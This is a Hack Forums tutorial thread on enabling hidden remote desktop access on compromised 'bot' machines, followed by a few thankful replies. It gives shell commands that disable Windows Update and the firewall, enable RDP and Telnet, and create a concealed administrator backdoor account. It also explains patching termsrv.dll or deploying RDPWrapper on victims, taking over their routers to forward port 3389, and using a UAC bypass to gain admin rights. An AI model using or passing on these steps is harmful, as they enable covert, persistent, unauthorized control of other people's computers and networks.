

Forum:[Hack Forums](#)

Thread: [\[TuT\] How to enable RDP on clients.](#)

LayersOSImodel - January 30, 2017, 6:06 pm

Hello everyone,

I was also looking for this like you all, but now i found i. i'll share you everything to avoid to research about it. So you could code your own C++/C#... RDP activator.

To enable RDP on a client, you need admin rights, if you have this, just open remote shell and type these commands :

```
Code sc config wuauserv start= disabled
net stop wuauserv
netsh firewall set opmode disable
pkgmgr /iu:"TelnetServer"
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fSingleSessionPerUser /t REG_DWORD /d 0 /f
net user User1 password /add
net localgroup "Administrators" /add User1
reg add "HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v User1 /t REG_DWORD /d 0 /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v
dontdisplaylastusername /t REG_DWORD /d 1 /f
```

Once you did it, the RDP is enabled on your bot, but there is problem about multi-session. When you'll connect on the client with localhost IP or his public IP (if you have access to his router). You'll see this message :

To enable multi-session on remote desktop, there is 2 ways :

1_____

- You stop RDP service with this command shell : net stop termsservice
Downloading the termsrv.dll in C:/Windows/System32/termsrv.dll on clients to patch it by changing the offsets yourself, then you replace, then you start RDP service : net start termsservice.

Let me explain you.

If you want to enable Multi-session RDP on your own PC you have to download Universal Termsrv.dll Patch :

What does it do ? It will detect the version of your termsrv.dll then change offsets,

So if you want to do it manually, make sure you disabled RDP with (net stop termservice) to pick the termsrv.dll of your client, if you dont disable you couldnt replace it since its opened on services.

Patch it manually, replace, restart termservice, then enjoy.

Once you know it, you can code yourself something to detect termsrv.dll version and patch it by searching on the web, each offsets to replace for each different version.

2_____

- You use RDPWrapper <https://github.com/stascorp/rdpwrap/releases>. You just have to download RDPWrap-v1.6.1 release, you extract, then you upload the directory on client and execute the install.bat.

Once you did it, the multi-session is enabled on client, you just have to connect on it with localhost IP and reverse or Public IP from router.

You can also check RDPWrapper to code your own RDP activator to avoid all these steps by hand.

What does i mean when i say "Public IP from router" ?

Its simple,

You use shell command to do "IPconfig", to take the gateway IP its usually (192.168.0.1/192.168.0.254/192.168.1.1/10.0.0.1...), then you use reverse to connect to gateway IP to have access to the router.

If you have password of it, find it by anyway, its not that hard, you should have access to everything!

Just do a portforward to the local IP of the client on port 3389 enable this.

And now you can use public IP to connect on hidden RDP from everywhere.

Ok, now the last problem is about admin rights,

If you dont have admin rights on bot, you need a good UAC Bypass, just buy one, use a free one if the OS of your client isnt patched about this free UAC Bypass, once you have it you can :

- Code your RDP activator and start it on client with an UAC Bypass.
- Making a batch file of all these shell commands at the beginning of the thread, then start the batch file with UAC Bypass, then start the install.bat of RDPWrap with the UAC Bypass.

Hope i explained everything well.

Notify me if there is any misunderstanding. My english isnt that proficient.

Notify me also if im wrong about anything on the TuT.

Enjoy.

hunter24957 - *January 31, 2017, 8:15 am*

Great tutorial my man, thanks for taking the time to write this up.

Cyber4rt IND - *April 23, 2017, 10:49 pm*

Great bro thanks for sharing

Hollymate - *April 25, 2017, 1:43 pm*

You help me a lot with this tutorial